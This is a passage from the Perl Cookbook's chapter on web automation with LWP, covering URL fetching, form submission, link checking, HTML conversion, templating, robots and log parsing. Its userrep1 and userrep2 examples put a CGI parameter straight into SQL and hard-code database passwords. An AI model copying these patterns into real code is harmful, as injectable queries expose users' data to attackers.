Fetching a URL from a Perl Script
Automating Form Submission
Extracting URLs
Converting ASCII to HTML
Converting HTML to ASCII
Extracting or Removing HTML Tags
Finding Stale Links
Finding Fresh Links
Creating HTML Templates
Mirroring Web Pages
Creating a Robot
Parsing a Web Server Log File
Processing Server Logs
Program: htmlsub
Program: hrefsub

The web, then, or the pattern, a web at once sensuous and logical, an elegant and pregnant texture: that is style, that is the foundation of the art of literature.

- Robert Louis Stevenson, On some technical Elements of Style in Literature (1885)

20.0. Introduction

Chapter 19, CGI Programming, concentrated on responding to browser requests and producing documents using CGI. This one approaches the Web from the other side: instead of responding to a browser, you pretend to be one, generating requests and processing returned documents. We make extensive use of modules to simplify this process, because the intricate network protocols and document formats are tricky to get right. By letting existing modules handle the hard parts, you can concentrate on the interesting part - your own program.

The relevant modules can all be found under the following URL:

http://www.perl.com/CPAN/modules/by-category/15_World_Wide_Web_HTML_HTTP_CGI/

There are modules for computing credit card checksums, interacting with Netscape or Apache server APIs, processing image maps, validating HTML, and manipulating MIME. The largest and most important modules for this chapter, though, are found in the libwww-perl suite of modules, referred to collectively as LWP. Here are just a few of the modules included in LWP:

Module Name | Purpose
LWP::UserAgent | WWW user agent class
LWP::RobotUA | Develop robot applications
LWP::Protocol | Interface to various protocol schemes
LWP::Authen::Basic | Handle 401 and 407 responses
LWP::MediaTypes | MIME types configuration (text/html, etc.)
LWP::Debug | Debug logging module
LWP::Simple | Simple procedural interface for common functions
HTTP::Headers | MIME/RFC822 style headers
HTTP::Message | HTTP style message
HTTP::Request | HTTP request
HTTP::Response | HTTP response
HTTP::Daemon | A HTTP server class
HTTP::Status | HTTP status code (200 OK etc)
HTTP::Date | Date parsing module for HTTP date formats
HTTP::Negotiate | HTTP content negotiation calculation
WWW::RobotRules | Parse robots.txt files
File::Listing | Parse directory listings

The HTTP:: and LWP:: modules let you request documents from a server. The LWP::Simple module, in particular, offers a very basic way to fetch a document. LWP::Simple, however, lacks the ability to access individual components of the HTTP response. To access these, use HTTP::Request, HTTP::Response, and LWP::UserAgent. We show both sets of modules in Recipes Recipe 20.1, Recipe 20.2, and Recipe 20.10.

Closely allied with LWP, but not distributed in the LWP bundle, are the HTML:: modules. These let you parse HTML. They provide the basis for Recipes Recipe 20.5, Recipe 20.4, Recipe 20.6, Recipe 20.3, Recipe 20.7, and the programs htmlsub and hrefsub.

Recipe 20.12 gives a regular expression to decode the fields in your web server's log files and shows how to interpret the fields. We use this regular expression and the Logfile::Apache module in Recipe 20.13 to show two ways of summarizing the data in web server log files.

Previous: 19.14. Program: chemiserie | Perl Cookbook | Next: 20.1. Fetching a URL from a Perl Script
19.14. Program: chemiserie | Book Index | 20.1. Fetching a URL from a Perl Script


Recipe 20.1. Fetching a URL from a Perl Script

Perl CookbookSearch this book

20.1. Fetching a URL from a Perl Script

Problem

You have a URL that you want to fetch from a script.

Solution

Use the get function from by the CPAN module LWP::Simple, part of LWP.

use LWP::Simple;
$content = get($URL);

Discussion

The right library makes life easier, and the LWP modules are the right ones for this task.

The get function from LWP::Simple returns undef on error, so check for errors this way:

use LWP::Simple;
unless (defined ($content = get $URL)) {
    die "could not get $URL\n";
}

When it's run that way, however, you can't determine the cause of the error. For this and other elaborate processing, you'll have to go beyond LWP::Simple.

Example 20.1 is a program that fetches a document remotely. If it fails, it prints out the error status line. Otherwise it prints out the document title and the number of bytes of content. We use three modules from LWP and one other from CPAN.

LWP::UserAgent

This module creates a virtual browser. The object returned from the new constructor is used to make the actual request. We've set the name of our agent to "Schmozilla/v9.14 Platinum" just to give the remote webmaster browser-envy when they see it in their logs.

HTTP::Request

This module creates a request but doesn't send it. We create a GET request and set the referring page to a fictitious URL.

HTTP::Response

This is the object type returned when the user agent actually runs the request. We check it for errors and contents.

URI::Heuristic

This curious little module uses Netscape-style guessing algorithms to expand partial URLs. For example:

Simple | Guess
perl | http://www.perl.com
www.oreilly.com | http://www.oreilly.com
ftp.funet.fi | ftp://ftp.funet.fi
/etc/passwd | file:/etc/passwd

Although these aren't legitimate URLs (their format is not in the URI specification), Netscape tries to guess the URL they stand for. Because Netscape does it, most other browsers do too.

The source is in Example 20.1.

Example 20.1: titlebytes

#!/usr/bin/perl -w
# titlebytes - find the title and size of documents
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
use URI::Heuristic;
my $raw_url = shift                      or die "usage: $0 url\n";
my $url = URI::Heuristic::uf_urlstr($raw_url);
$| = 1;                                  # to flush next line
printf "%s =>\n\t", $url;
my $ua = LWP::UserAgent->new();
$ua->agent("Schmozilla/v9.14 Platinum"); # give it time, it'll get there
my $req = HTTP::Request->new(GET => $url);
$req->referer("http://wizard.yellowbrick.oz");
                                         # perplex the log analysers
my $response = $ua->request($req);
if ($response->is_error()) {
     printf " %s\n", $response->status_line;
 } else {
     my $count;
     my $bytes;
     my $content = $response->content();
     $bytes = length $content;
     $count = ($content =~ tr/\n/\n/);
     printf "%s (%d lines, %d bytes)\n", $response->title(), $count, $bytes; }

When run, the program produces output like this:

% titlebytes http://www.tpj.com/
http://www.tpj.com/ =>
    The Perl Journal (109 lines, 4530 bytes)

Yes, "referer" is not how "referrer" should be spelled. The standards people got it wrong when they misspelled HTTP_REFERER. Please use two r's when referring to things in English.

See Also

The documentation for the CPAN module LWP::Simple, and the lwpcook (1) manpage that came with LWP; the documentation for the modules LWP::UserAgent, HTTP::Request, HTTP::Response, and URI::Heuristic; Recipe 20.2

Previous: 20.0. Introduction | Perl Cookbook | Next: 20.2. Automating Form Submission
20.0. Introduction | Book Index | 20.2. Automating Form Submission


Recipe 20.2. Automating Form Submission

Perl CookbookSearch this book

20.2. Automating Form Submission

Problem

You want to submit form values to a CGI script from your program.

Solution

If you're submitting form values using the GET method, create a URL and encode the form using the query_form method:

use LWP::Simple;
use URI::URL;

my $url = url('http://www.perl.com/cgi-bin/cpan_mod');
$url->query_form(module => 'DB_File', readme => 1);
$content = get($url);

If you're using the POST method, create your own user agent and encode the content appropriately:

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;

$ua = LWP::UserAgent->new();
my $req = POST 'http://www.perl.com/cgi-bin/cpan_mod',
               [ module => 'DB_File', readme => 1 ];
$content = $ua->request($req)->as_string;

Discussion

For simple operations, the procedural interface of the LWP::Simple module is sufficient. For fancier ones, the LWP::UserAgent module provides a virtual browser object, which you manipulate using method calls.

The format of a query string is:

field1=value1&field2=value2&field3=value3

In GET requests, this is encoded in the URL being requested:

http://www.site.com/path/to/
script.cgi?field1=value1&field2=value2&field3=value3

Fields must still be properly escaped, so setting the arg form parameter to "this isn't <EASY>&<FUN>" would yield:

http://www.site.com/path/to/
script.cgi?arg=%22this+isn%27t+%3CEASY%3E+%26+%3CFUN%3E%22

The query_form method called on a URL object correctly escapes the form values for you, or you could use the URI::Escape::uri_escape or CGI::escape_html functions on your own. In POST requests, the query string is the body of the HTTP document sent to the CGI script.

We can use the LWP::Simple module to submit data in a GET request, but there is no corresponding LWP::Simple interface for POST requests. Instead, the HTTP::Request::Common module's POST function conveniently creates a properly formatted request with everything properly escaped.

If you need to go through a proxy, construct your user agent and tell it to use a proxy this way:

$ua->proxy(['http', 'ftp'] => 'http://proxy.myorg.com:8081');

That says that both HTTP and FTP requests through this user agent should be routed through the proxy on port 8081 at proxy.myorg.com.

See Also

The documentation for the CPAN modules LWP::Simple, LWP::UserAgent, HTTP::Request::Common, URI::Escape, and URI::URL; Recipe 20.1

Previous: 20.1. Fetching a URL from a Perl Script | Perl Cookbook | Next: 20.3. Extracting URLs
20.1. Fetching a URL from a Perl Script | Book Index | 20.3. Extracting URLs


Recipe 20.3. Extracting URLs

Perl CookbookSearch this book

20.3. Extracting URLs

Problem

You want to extract all URLs from an HTML file.

Solution

Use the HTML::LinkExtor module from CPAN:

use HTML::LinkExtor;

$parser = HTML::LinkExtor->new(undef, $base_url);
$parser->parse_file($filename);
@links = $parser->links;
foreach $linkarray (@links) {
    my @element = @$linkarray;
    my $elt_type = shift @element;                  # element type

    # possibly test whether this is an element we're interested in
    while (@element) {
        # extract the next attribute and its value
        my ($attr_name, $attr_value) = splice(@element, 0, 2);
        # ... do something with them ...
    }
}

Discussion

You can use HTML::LinkExtor in two different ways: either to call links to get a list of all links in the document once it is completely parsed, or to pass a code reference in the first argument to new. The referenced function will be called on each link as the document is parsed.

The links method clears the link list, so you can call it only once per parsed document. It returns a reference to an array of elements. Each element is itself an array reference with an HTML::Element object at the front followed by a list of attribute name and attribute value pairs. For instance, the HTML:

<A HREF="http://www.perl.com/">Home page</A>
<IMG SRC="images/big.gif" LOWSRC="images/big-lowres.gif">

would return a data structure like this:

[
  [ a,   href   => "http://www.perl.com/" ],
  [ img, src    =>"images/big.gif",
         lowsrc => "images/big-lowres.gif" ]
]

Here's an example of how you would use the $elt_type and the $attr_name to print out and anchor an image:

if ($elt_type eq 'a' && $attr_name eq 'href') {
    print "ANCHOR: $attr_value\n"
        if $attr_value->scheme =~ /http|ftp/;
}
if ($elt_type eq 'img' && $attr_name eq 'src') {
    print "IMAGE:  $attr_value\n";
}

Example 20.2 is a complete program that takes as its arguments a URL, like file:///tmp/testing.html or http://www.ora.com/, and produces on standard output an alphabetically sorted list of unique URLs.

Example 20.2: xurl

#!/usr/bin/perl -w
# xurl - extract unique, sorted list of links from URL
use HTML::LinkExtor;
use LWP::Simple;

$base_url = shift;
$parser = HTML::LinkExtor->new(undef, $base_url);
$parser->parse(get($base_url))->eof;
@links = $parser->links;
foreach $linkarray (@links) {
    my @element  = @$linkarray;
    my $elt_type = shift @element;
    while (@element) {
        my ($attr_name , $attr_value) = splice(@element, 0, 2);
        $seen{$attr_value}++;
    }
}
for (sort keys %seen) { print $_, "\n" }

This program does have a limitation: if the get of $base_url involves a redirection, your links will all be resolved with the original URL instead of the URL at the end of the redirection. To fix this, fetch the document with LWP::UserAgent and examine the response code to find out if a redirection occurred. Once you know the post-redirection URL (if any), construct the HTML::LinkExtor object.

Here's an example of the run:

% xurl http://www.perl.com/CPAN
ftp://ftp@ftp.perl.com/CPAN/CPAN.html
http://language.perl.com/misc/CPAN.cgi
http://language.perl.com/misc/cpan_module
http://language.perl.com/misc/getcpan
http://www.perl.com/index.html
http://www.perl.com/gifs/lcb.xbm

Often in mail or Usenet messages, you'll see URLs written as:

<URL:http://www.perl.com>

This is supposed to make it easy to pick URLs from messages:

@URLs = ($message =~ /<URL:(.*?)>/g);

See Also

The documentation for the CPAN modules LWP::Simple, HTML::LinkExtor, and HTML::Entities; Recipe 20.1

Previous: 20.2. Automating Form Submission | Perl Cookbook | Next: 20.4. Converting ASCII to HTML
20.2. Automating Form Submission | Book Index | 20.4. Converting ASCII to HTML


Recipe 20.4. Converting ASCII to HTML

Perl CookbookSearch this book

20.4. Converting ASCII to HTML

Problem

You want to convert ASCII text to HTML.

Solution

Use the simple little encoding filter in Example 20.3.

Example 20.3: text2html

#!/usr/bin/perl -w -p00
# text2html - trivial html encoding of normal text
# -p means apply this script to each record.
# -00 mean that a record is now a paragraph

use HTML::Entities;
$_ = encode_entities($_, "\200-\377");

if (/^\s/) {
    # Paragraphs beginning with whitespace are wrapped in <PRE>
    s{(.*)$}        {<PRE>\n$1</PRE>\n}s;           # indented verbatim
} else {
    s{^(>.*)}       {$1<BR>}gm;                    # quoted text
    s{<URL:(.*?)>}    {<A HREF="$1">$1</A>}gs         # embedded URL  (good)
                    ||
    s{(http:\S+)}   {<A HREF="$1">$1</A>}gs;        # guessed URL   (bad)
    s{\*(\S+)\*}    {<STRONG>$1</STRONG>}g;         # this is *bold* here
    s{\b_(\S+)\_\b} {<EM>$1</EM>}g;                 # this is _italics_ here
    s{^}            {<P>\n};                        # add paragraph tag
}

Discussion

Converting arbitrary plain text to HTML has no general solution because there are too many different, conflicting ways of representing formatting information in a plain text file. The more you know about the input, the better the job you can do of formatting it.

For example, if you knew that you would be fed a mail message, you could add this block to format the mail headers:

BEGIN {
    print "<TABLE>";
    $_ = encode_entities(scalar <>);
    s/\n\s+/ /g;  # continuation lines
    while ( /^(\S+?:)\s*(.*)$/gm ) {                # parse heading
        print "<TR><TH ALIGN='LEFT'>$1</TH><TD>$2</TD></TR>\n";
    }
    print "</TABLE><HR>";
}

See Also

The documentation for the CPAN module HTML::Entities

Previous: 20.3. Extracting URLs | Perl Cookbook | Next: 20.5. Converting HTML to ASCII
20.3. Extracting URLs | Book Index | 20.5. Converting HTML to ASCII


Recipe 20.5. Converting HTML to ASCII

Perl CookbookSearch this book

20.5. Converting HTML to ASCII

Problem

You want to convert an HTML file into formatted plain ASCII.

Solution

If you have an external formatter like lynx, call an external program:

$ascii = `lynx -dump $filename`;

If you want to do it within your program and don't care about the things that the HTML::TreeBuilder formatter doesn't yet handle (tables and frames):

use HTML::FormatText;
use HTML::Parse;

$html = parse_htmlfile($filename);
$formatter = HTML::FormatText->new(leftmargin => 0, rightmargin => 50);
$ascii = $formatter->format($html);

Discussion

These examples both assume you have the HTML text in a file. If your HTML is in a variable, you need to write it to a file for lynx to read. If you are using HTML::FormatText, use the HTML::TreeBuilder module:

use HTML::TreeBuilder;
use HTML::FormatText;

$html = HTML::TreeBuilder->new();
$html->parse($document);

$formatter = HTML::FormatText->new(leftmargin => 0, rightmargin => 50);

$ascii = $formatter->format($html);

If you use Netscape, its "Save as" option with the type set to "Text" does the best job with tables.

See Also

The documentation for the CPAN modules HTML::Parse, HTML::TreeBuilder, and HTML::FormatText; your system's lynx (1) manpage; Recipe 20.6

Previous: 20.4. Converting ASCII to HTML | Perl Cookbook | Next: 20.6. Extracting or Removing HTML Tags
20.4. Converting ASCII to HTML | Book Index | 20.6. Extracting or Removing HTML Tags


Recipe 20.6. Extracting or Removing HTML Tags

Perl CookbookSearch this book

20.6. Extracting or Removing HTML Tags

Problem

You want to remove HTML tags from a string, leaving just plain text.

Solution

The following oft-cited solution is simple but wrong on all but the most trivial HTML:

($plain_text = $html_text) =~ s/<[^>]*>//gs;     #WRONG

A correct but slower and slightly more complicated way is to use the CPAN modules:

use HTML::Parse;
use HTML::FormatText;
$plain_text = HTML::FormatText->new->format(parse_html($html_text));

Discussion

As with almost everything else, there is more than one way to do it. Each solution attempts to strike a balance between speed and flexibility. Occasionally you may find HTML that's simple enough that a trivial command line call will work:

% perl -pe 's/<[^>]*>//g' file

However, this will break on with files whose tags cross line boundaries, like this:

<IMG SRC = "foo.gif"
     ALT = "Flurp!">

So, you'll see people doing this instead:

% perl -0777 -pe 's/<[^>]*>//gs' file

or its scripted equivalent:

{
    local $/;               # temporary whole-file input mode
    $html = <FILE>;
    $html =~ s/<[^>]*>//gs;
}

But even that isn't good enough except for simplistic HTML without any interesting bits in it. This approach fails for the following examples of valid HTML (among many others):

<IMG SRC = "foo.gif" ALT = "A > B">

<!-- <A comment> -->

<script>if (a<b && a>c)</script>

<# Just data #>

<![INCLUDE CDATA [ >>>>>>>>>>>> ]]>

If HTML comments include other tags, those solutions would also break on text like this:

<!-- This section commented out.
    <B>You can't see me!</B>
-->

The only solution that works well here is to use the HTML parsing routines from CPAN. The second code snippet shown above in the Solution demonstrates this better technique.

For more flexible parsing, subclass the HTML::Parser class and only record the text elements you see:

package MyParser;
use HTML::Parser;
use HTML::Entities qw(decode_entities);

@ISA = qw(HTML::Parser);

sub text {
    my($self, $text) = @_;
    print decode_entities($text);
}

package main;
MyParser->new->parse_file(*F);

If you're only interested in simple tags that don't contain others nested inside, you can often make do with an approach like the following, which extracts the title from a non-tricky HTML document:

($title) = ($html =~ m#<TITLE>\s*(.*?)\s*</TITLE>#is);

Again, the regex approach has its flaws, so a more complete solution using LWP to process the HTML is shown in Example 20.4.

Example 20.4: htitle

#!/usr/bin/perl
# htitle - get html title from URL

die "usage: $0 url ...\n" unless @ARGV;
require LWP;

foreach $url (@ARGV) {
    $ua = LWP::UserAgent->new();
    $res = $ua->request(HTTP::Request->new(GET => $url));
    print "$url: " if @ARGV > 1;
    if ($res->is_success) {
        print $res->title, "\n";
    } else {
        print $res->status_line, "\n";
    }
}

Here's an example of the output:

% htitle http://www.ora.com
www.oreilly.com -- Welcome to O'Reilly & Associates!

% htitle http://www.perl.com/ http://www.perl.com/nullvoid
http://www.perl.com/: The www.perl.com Home Page
http://www.perl.com/nullvoid: 404 File Not Found

See Also

The documentation for the CPAN modules HTML::TreeBuilder, HTML::Parser, HTML::Entities, and LWP::UserAgent; Recipe 20.5

Previous: 20.5. Converting HTML to ASCII | Perl Cookbook | Next: 20.7. Finding Stale Links
20.5. Converting HTML to ASCII | Book Index | 20.7. Finding Stale Links


Recipe 20.7. Finding Stale Links

Perl CookbookSearch this book

20.7. Finding Stale Links

Problem

You want to check whether a document contains invalid links.

Solution

Use the technique outlined in Recipe 20.3 to extract each link, and then use the LWP::Simple module's head function to make sure that link exists.

Discussion

Example 20.5 is an applied example of the link-extraction technique. Instead of just printing the name of the link, we call the LWP::Simple module's head function on it. The HEAD method fetches the remote document's metainformation to determine status information without downloading the whole document. If it fails, then the link is bad so we print an appropriate message.

Because this program uses the get function from LWP::Simple, it is expecting a URL, not a filename. If you want to supply either, use the URI::Heuristic module described in Recipe 20.1.

Example 20.5: churl

#!/usr/bin/perl -w
# churl - check urls

use HTML::LinkExtor;
use LWP::Simple qw(get head);

$base_url = shift
    or die "usage: $0 <start_url>\n";
$parser = HTML::LinkExtor->new(undef, $base_url);
$parser->parse(get($base_url));
@links = $parser->links;
print "$base_url: \n";
foreach $linkarray (@links) {
    my @element  = @$linkarray;
    my $elt_type = shift @element;
    while (@element) {
        my ($attr_name , $attr_value) = splice(@element, 0, 2);
        if ($attr_value->scheme =~ /\b(ftp|https?|file)\b/) {
            print "  $attr_value: ", head($attr_value) ? "OK" : "BAD", "\n";
        }
    }
}

Here's an example of a program run:

% churl http://www.wizards.com
http://www.wizards.com:
  FrontPage/FP_Color.gif:  OK
  FrontPage/FP_BW.gif:  BAD
  #FP_Map:  OK
  Games_Library/Welcome.html:  OK

This program has the same limitation as the HTML::LinkExtor program in Recipe 20.3.

See Also

The documentation for the CPAN modules HTML::LinkExtor, LWP::Simple, LWP::UserAgent, and HTTP::Response; Recipe 20.8

Previous: 20.6. Extracting or Removing HTML Tags | Perl Cookbook | Next: 20.8. Finding Fresh Links
20.6. Extracting or Removing HTML Tags | Book Index | 20.8. Finding Fresh Links


Recipe 20.8. Finding Fresh Links

Perl CookbookSearch this book

20.8. Finding Fresh Links

Problem

Given a list of URLs, you want to determine which have been most recently modified.

Solution

The program in Example 20.6 reads URLs from standard input, rearranges by date, and prints them back to standard output with those dates prepended.

Example 20.6: surl

#!/usr/bin/perl -w
# surl - sort URLs by their last modification date

use LWP::UserAgent;
use HTTP::Request;
use URI::URL qw(url);

my($url, %Date);
my $ua = LWP::UserAgent->new();

while ( $url = url(scalar <>) ) {
    my $ans;
    next unless $url->scheme =~ /^(file|https?)$/;
    $ans = $ua->request(HTTP::Request->new("HEAD", $url));
    if ($ans->is_success) {
        $Date{$url} = $ans->last_modified || 0;  # unknown
    } else {
        print STDERR "$url: Error [", $ans->code, "] ", $ans->message, "!\n";
    }
}

foreach $url ( sort { $Date{$b} <=> $Date{$a} } keys %Date ) {
    printf "%-25s %s\n", $Date{$url} ? (scalar localtime $Date{$url})
                                     : "<NONE SPECIFIED>", $url;
}

Discussion

The surl script works more like a traditional filter program. It reads from standard input one URL per line. (Actually, it reads from <ARGV>, which defaults to STDIN if @ARGV is empty.) The last-modified date on each URL is fetched using a HEAD request. That date is stored in a hash using the URL for a key. Then a simple sort by value is run on the hash to reorder the URLs by date. On output, the internal date is converted into localtime format.

Here's an example of using the xurl program from the earlier recipe to extract the URLs, then running that program's output to feed into surl.

% xurl http://www.perl.com/  | surl | head
Mon Apr 20 06:16:02 1998  http://electriclichen.com/linux/srom.html
Fri Apr 17 13:38:51 1998  http://www.oreilly.com/
Fri Mar 13 12:16:47 1998  http://www2.binevolve.com/
Sun Mar  8 21:01:27 1998  http://www.perl.org/
Tue Nov 18 13:41:32 1997  http://www.perl.com/universal/header.map
Wed Oct  1 12:55:13 1997  http://www.songline.com/
Sun Aug 17 21:43:51 1997  http://www.perl.com/graphics/perlhome_header.jpg
Sun Aug 17 21:43:47 1997  http://www.perl.com/graphics/perl_id_313c.gif
Sun Aug 17 21:43:46 1997  http://www.perl.com/graphics/ora_logo.gif
Sun Aug 17 21:43:44 1997  http://www.perl.com/graphics/header-nav.gif

Having a variety of small programs that each do one thing and that can be combined into more powerful constructs is the hallmark of good programming. You could even argue that xurl should work on files, and that some other program should actually fetch the URL's contents over the Web to feed into xurl, churl, or surl. That program would probably be called gurl, except that a program by that name already exists: the LWP module suite has a program called lwp-request with aliases HEAD, GET, and POST to run those operations in shell scripts.

See Also

The documentation for the CPAN modules LWP::UserAgent, HTTP::Request, and URI::URL; Recipe 20.7

Previous: 20.7. Finding Stale Links | Perl Cookbook | Next: 20.9. Creating HTML Templates
20.7. Finding Stale Links | Book Index | 20.9. Creating HTML Templates


Recipe 20.9. Creating HTML Templates

Perl CookbookSearch this book

20.9. Creating HTML Templates

Problem

You want to store a parameterized template in an external file, read it in from your CGI script, and substitute your own variables for escapes embedded in the text. This way you can separate your program from the static parts of the document.

Solution

To expand only variable references, use this template function:

sub template {
    my ($filename, $fillings) = @_;
    my $text;
    local $/;                   # slurp mode (undef)
    local *F;                   # create local filehandle
    open(F, "< $filename\0")    || return;
    $text = <F>;                # read whole file
    close(F);                   # ignore retval
    # replace quoted words with value in %$fillings hash
    $text =~ s{ %% ( .*? ) %% }
              { exists( $fillings->{$1} )
                      ? $fillings->{$1}
                      : ""
              }gsex;
    return $text;
}

On a data file like this:

<!-- simple.template for internal template() function -->
<HTML><HEAD><TITLE>Report for %%username%%</TITLE></HEAD>
<BODY><H1>Report for %%username%%</H1>
%%username%% logged in %%count%% times, for a total of %%total%% minutes.

Or use the CPAN module Text::Template to expand full expressions if you can guarantee the data file is secure from tampering. A data file for Text::Template looks like this:

<!-- fancy.template for Text::Template -->
<HTML><HEAD><TITLE>Report for {$user}</TITLE></HEAD>
<BODY><H1>Report for {$user}</H1>
{ lcfirst($user) } logged in {$count} times, for a total of
{ int($total / 60) } minutes.

Discussion

Parameterized output for your CGI scripts is a good idea for many reasons. Separating your program from its data lets you give other people (art directors, for instance) the ability to change the HTML but not the program. Even better, two programs can share the same template, so style changes in the template will be immediately reflected in both.

For example, suppose you have stored the first template from the Solution in a file. Then your CGI program contains the definition of the template subroutine above and makes appropriate settings for variables $username, $count, and $total. You can fill in the template by simply using:

%fields = (
            username => $whats_his_name,
            count    => $login_count,
            total    => $minute_used,
);

print template("/home/httpd/templates/simple.template", \%fields);

The template file contains keywords surrounded with double percent symbols (%%KEYWORD%%). These keywords are looked up in the %$fillings hash whose reference was passed as the second argument to template. Example 20.7 is a more elaborate example using an SQL database.

Example 20.7: userrep1

#!/usr/bin/perl -w
# userrep1 - report duration of user logins using SQL database

use DBI;
use CGI qw(:standard);

# template() defined as in the Solution section above

$user = param("username")                   or die "No username";

$dbh = DBI->connect("dbi:mysql:connections:mysql.domain.com",
    "connections", "seekritpassword")       or die "Couldn't connect\n";
$sth = $dbh->prepare(<<"END_OF_SELECT")     or die "Couldn't prepare SQL";
    SELECT COUNT(duration),SUM(duration)
    FROM logins WHERE username='$user'
END_OF_SELECT

# this time the duration is assumed to be in seconds
if (@row = $sth->fetchrow_array()) {
    ($count, $seconds) = @row;
} else {
    ($count, $seconds) = (0,0);
}

$sth->finish();
$dbh->disconnect;

print header();
print template("report.tpl", {
    'username' => $user,
    'count'    => $count,
    'total'    => $seconds
});

If you want a fancier, more flexible solution, look at the second template in the Solution section, which relies upon the CPAN module Text::Template. Contents of braces found within the template file are evaluated as Perl code. Ordinarily, these substitutions will just be simple variables:

You owe: {$total}

but they can also include full expressions:

The average was {$count ?  ($total/$count) : 0}.

Example 20.8 is an example of how you could use that template.

Example 20.8: userrep2

#!/usr/bin/perl -w
# userrep2 - report duration of user logins using SQL database

use Text::Template;
use DBI;
use CGI qw(:standard);

$tmpl = "/home/httpd/templates/fancy.template";
$template = Text::Template->new(-type => "file", -source => $tmpl);
$user = param("username")                   or die "No username";

$dbh = DBI->connect("dbi:mysql:connections:mysql.domain.com",
    "connections", "secret passwd")         or die "Couldn't db connect\n";
$sth = $dbh->prepare(<<"END_OF_SELECT")     or die "Couldn't prepare SQL";
    SELECT COUNT(duration),SUM(duration)
    FROM logins WHERE username='$user'
END_OF_SELECT

$sth->execute()                             or die "Couldn't execute SQL";

if (@row = $sth->fetchrow_array()) {
    ($count, $total) = @row;
} else {
    $count = $total = 0;
}

$sth->finish();
$dbh->disconnect;

print header();
print $template->fill_in();

The more powerful approach raises security concerns. Anyone who can write to the template file can insert code that your program will run. See Recipe 8.17 for ways to lessen this danger.

See Also

The documentation for the CPAN module Text::Template; Recipe 8.16; Recipe 14.10

Previous: 20.8. Finding Fresh Links | Perl Cookbook | Next: 20.10. Mirroring Web Pages
20.8. Finding Fresh Links | Book Index | 20.10. Mirroring Web Pages


Recipe 20.10. Mirroring Web Pages

Perl CookbookSearch this book

20.10. Mirroring Web Pages

Problem

You want to keep a local copy of a web page up-to-date.

Solution

Use LWP::Simple's mirror function:

use LWP::Simple;
mirror($URL, $local_filename);

Discussion

Although closely related to the get function discussed in Recipe 20.1, the mirror function doesn't download the file unconditionally. It adds the If-Modified-Since header to the GET request it creates, so the server will not transfer the file unless it has been updated.

The mirror function mirrors only a single page, not a full tree. To mirror a set of pages, use this recipe in conjunction Recipe 20.3. A good solution to mirroring an entire remote tree can be found in the w3mir program, also found on CPAN.

Be careful! It's possible (and easy) to write programs that run amok and begin downloading all web pages on the net. This is not only poor etiquette, it's also an infinite task, since some pages are dynamically generated. It could also get you into trouble with someone who doesn't want their pages downloaded en masse.

See Also

The documentation for the CPAN module LWP::Simple; the HTTP specification at http://www.w3.org/pub/WWW/Protocols/HTTP/

Previous: 20.9. Creating HTML Templates | Perl Cookbook | Next: 20.11. Creating a Robot
20.9. Creating HTML Templates | Book Index | 20.11. Creating a Robot


Recipe 20.11. Creating a Robot

Perl CookbookSearch this book

20.11. Creating a Robot

Problem

You want to create a script that navigates the Web on its own (i.e., a robot), and you'd like to respect the remote sites' wishes.

Solution

Instead of writing your robot to use LWP::UserAgent, have it use LWP::RobotUA instead:

use LWP::RobotUA;
$ua = LWP::RobotUA->new('websnuffler/0.1', 'me@wherever.com');

Discussion

To avoid having marauding robots and web crawlers hammer their servers, sites are encouraged to create a file with access rules called robots.txt. If you're fetching only one document with your script, this is no big deal, but if your script is going to fetch many documents, probably from the same server, you could easily exhaust that site's bandwidth.

When you create your own scripts to run around the Web, it's important to be a good net citizen. That means two things: don't request documents from the same server too often, and heed the advisory access rules in their robots.txt file.

The easiest way to handle this is to use the LWP::RobotUA module to create agents instead of LWP::UserAgent. This agent automatically knows to pull things over slowly when repeatedly calling the same server. It also checks each site's robots.txt file to see whether you're trying to grab a file that is off limits. If you do, you'll get back a response like this:

403 (Forbidden) Forbidden by robots.txt

Here's an example robots.txt file, fetched using the GET program that comes with the LWP module suite:

% GET http://www.webtechniques.com/robots.txt
User-agent: *
     Disallow: /stats
     Disallow: /db
     Disallow: /logs
     Disallow: /store
     Disallow: /forms
     Disallow: /gifs
     Disallow: /wais-src
     Disallow: /scripts
     Disallow: /config

A more interesting and extensive example is at http://www.cnn.com/robots.txt. This file is so big, they even keep it under RCS control!

% GET http://www.cnn.com/robots.txt | head
# robots, scram
# $I d : robots.txt,v 1.2 1998/03/10 18:27:01 mreed Exp $
User-agent: *
Disallow: /
User-agent:     Mozilla/3.01 (hotwired-test/0.1)
Disallow:   /cgi-bin
Disallow:   /TRANSCRIPTS
Disallow:   /development

See Also

The documentation for the CPAN module LWP::RobotUA(3); http://info.webcrawler.com/mak/projects/robots/robots.html for a description of how well-behaved robots act

Previous: 20.10. Mirroring Web Pages | Perl Cookbook | Next: 20.12. Parsing a Web Server Log File
20.10. Mirroring Web Pages | Book Index | 20.12. Parsing a Web Server Log File


Recipe 20.12. Parsing a Web Server Log File

Perl CookbookSearch this book

20.12. Parsing a Web Server Log File

Problem

You want to extract from a web server log file only the information you're interested in.

Solution

Pull apart the log file as follows:

while (<LOGFILE>) {
  my ($client, $identuser, $authuser, $date, $time, $tz, $method,
      $url, $protocol, $status, $bytes) =
  /^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+) "(\S+) (.*?) (\S+)"
      (\S+) (\S+)$/;
  # ...
}

Discussion

This regular expression pulls apart entries in Common Log Format, an informal standard that most web servers adhere to. The fields are:

client

IP address or domain name of browser's machine

identuser

If IDENT (RFC 1413) was used, what it returned

authuser

If username/password authentication was used, whom they logged in as

date

Date of request (e.g., 01/Mar/1997)

time

Time of request (e.g., 12:55:36)

tz

Time zone (e.g., -0700)

method

Method of request (e.g., GET, POST, or PUT)

url

URL in request (e.g., /~user/index.html)

protocol

HTTP/1.0 or HTTP/1.1

status

Returned status (200 is okay, 500 is server error)

bytes

Number of bytes returned (could be "-" for errors, redirects, and other non-document transfers)

Other formats include the referrer and agent information. The pattern needs only minor changes for it to work with other log file formats. Watch out that spaces in the URL field are not escaped. This means that we can't use \S* to extract the URL. .* would cause the regex to match the entire string and then backtrack until it could satisfy the rest of the pattern. We use .*? and anchor the pattern to the end of the string with $ to make the regular expression engine match nothing and then add characters until the entire pattern is satisfied.

See Also

The CLF spec at http://www.w3.org/Daemon/User/Config/Logging.html

Previous: 20.11. Creating a Robot | Perl Cookbook | Next: 20.13. Processing Server Logs
20.11. Creating a Robot | Book Index | 20.13. Processing Server Logs


Recipe 20.13. Processing Server Logs

Perl CookbookSearch this book

20.13. Processing Server Logs

Problem

You need to summarize your server logs, but you don't have a customizable program to do it.

Solution

